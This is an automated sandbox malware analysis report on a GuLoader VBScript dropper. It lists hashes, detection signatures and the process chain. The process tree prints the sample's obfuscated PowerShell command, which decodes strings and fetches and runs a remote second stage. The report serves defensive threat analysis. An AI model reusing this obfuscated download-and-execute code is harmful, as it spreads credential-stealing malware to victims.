Edit tour
Windows
Analysis Report
10145202485.vbs
Overview
General Information
| Sample name: | 10145202485.vbs |
| Analysis ID: | 1533834 |
| MD5: | 0689a82273ebbfa26e83cd5d497be3f2 |
| SHA1: | b0895a2f4edd783e8b95660cc12261f266288347 |
| SHA256: | 389fd7e2ea34dbf59f58d90b5d4a5e9231b820ee6e3315861ec63fe4b828e71c |
| Tags: | vbsuser-abuse_ch |
| Infos: |   |
 | |
Detection
GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Early bird code injection technique detected
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
AI detected suspicious sample
Found direct / indirect Syscall (likely to bypass EDR)
Found suspicious powershell code related to unpacking or dynamic code loading
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Potential evasive VBS script found (sleep loop)
Queues an APC in another process (thread injection)
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses ping.exe to check the status of other devices and networks
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Msiexec Initiated Connection
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 7656 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\10145 202485.vbs " MD5: A47CBE969EA935BDD3AB568BB126BC80) 
cmd.exe (PID: 7724 cmdline: cmd.exe /c ping aszz zw_6777.67 77.6777.67 7e MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7732 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
PING.EXE (PID: 7776 cmdline: ping aszzz w_6777.677 7.6777.677 e MD5: 2F46799D79D22AC72C241EC0322B011D) 
powershell.exe (PID: 7816 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" " <#Hjemme bagerier S emicontrad iction Ane lser Raadg ivningsvir ksomheds # >;$Amtskon ger='Galop perende';< #Lgknoldet Squiddle Hypozeuxis Prkeners #>;$Klasse lotteriern es=$Argand +$host.UI; If ($Klass elotterier nes) {$Spi onkamera++ ;}function Wirepulle rs($Whinie st){$Hyper scrupulous =$Synchron izable+$Wh iniest.'Le ngth'-$Spi onkamera; for( $Alve aries210=4 ;$Alvearie s210 -lt $ Hyperscrup ulous;$Alv earies210+ =5){$Paasy ningens++; $Fideikomm iserne+=$W hiniest[$A lvearies21 0];$Milane sisk='Besp rinkles';} $Fideikomm iserne;}fu nction Bag grundsfarv e102($Effe ktivere){ . ($Schoo lgirlism) ($Effektiv ere);}$Ced ertrs=Wire pullers 'U nquMPigho Ef z,keai HanlMasklf lueaQuer/ C,n ';$Ced ertrs+=Wir epullers ' Simu5Saa.. Inte0Pat. odou(Pe pW N,uri P.on Anded,rato SpurwHy ds .de fedeN JenkTGavm Fold1Dig 0 Buen.F.cu0 Fly;Urra ParaWBe ii I fonEs.e6 Fris4Hver; Zyg Vidux unn6Mult4S vul;Iiis C nidrPretvY ode:F.mi1U nsc3H,an1D uff.Stup0s tjd) Geo S tr.GAnkeet ,enc StokT ideoRing/ Sk 2 Nat0S vi.1Prop0R ub,0Hypa1 Ku 0Back1S la OplaFFo ruiSterrPa teeknu,fEl isoDemoxfr m/Endu1Nu th3Ucsu1Co mp.Ek p0 E l, ';$Plad evenderne= Wirepuller s 'Imm UGe nls MicE H esRb,ma-Nd traCitrGus ure Ko NPa raTU,pr '; $Dekagramm et=Wirepul lers 'Unph h EfttR,fe tThorp pls vari: Kon/ Spli/Canup BalerOmslo HelimCa ae InstnFinat BaadeCeylr Krum. R ir TimesKvar/ MaaD Disi fgapnoyao Hus dPar,i BetadB li. SkvhpAflnf P.anmBelo ';$Forslag enes37=Wir epullers ' ste>Se p ';$Schoolg irlism=Wir epullers ' ChiiBukoe PrutX.riz ';$almengr ='Bredende s';$Effekt fuldes146= '\Stderes. Ide';Baggr undsfarve1 02 (Wirepu llers ' ns a$FromG Ny LB.flo,ar rBG staInf elTeks: am acHopehmun aphysI on RGentlsvej i KroFBl k TProc=regi $Pr,dEProt NRa gv Udk : ShaaStat p ecaPMav D S.gAFrok t K iASubt +Per,$Kard eLiddfUns FDiffELng. KBostTUnco FSl kUSkyd LBou.dT an eNondsNoto 1Felt4M re 6Sera ');B aggrundsfa rve102 (Wi repullers ' Shi$Butl GVestlSupe oVerdBUrst a PrelBoom :Blgecviva o Hexw,age ATrylGoutb EComp=Su v $Grild Pr eVeneKFjen acruigSig, RzygoAH.an mPopumUnte e U mtT,ls .Frems ant pAstrLSort IUnvotSyrm (Byge$Stat fKvivO Met RUn.wsZelo lBoylAHall G SalES se nw beeTjek SChae3Conf 7Temp)Sovs ');Baggru ndsfarve10 2 (Wirepul lers 'Blnd [mononKomm EDy.aTIne .LedeS Nor EUncoRSknd v PotICurr CForgEPseu pcytooAflb iSpannSp,n tB abmInge aUnbeN Pok ANakeGStil e aurrSmok ]Infi:plec :EquisTand E.ngecV,di UCyliR Cha IApplTTils YAminP Urk rstiko Ver TDeltODemi c,olyoAlli LFrie K or =Lill Thu[ Endn A.cE Mu tSing. Spi,S,frie Ya CLsegU ForsR W ni racTHalvY SynPHhv r fudgoBurrt Landoi tec Sch,oHydrL ,peet G nY hercpTricE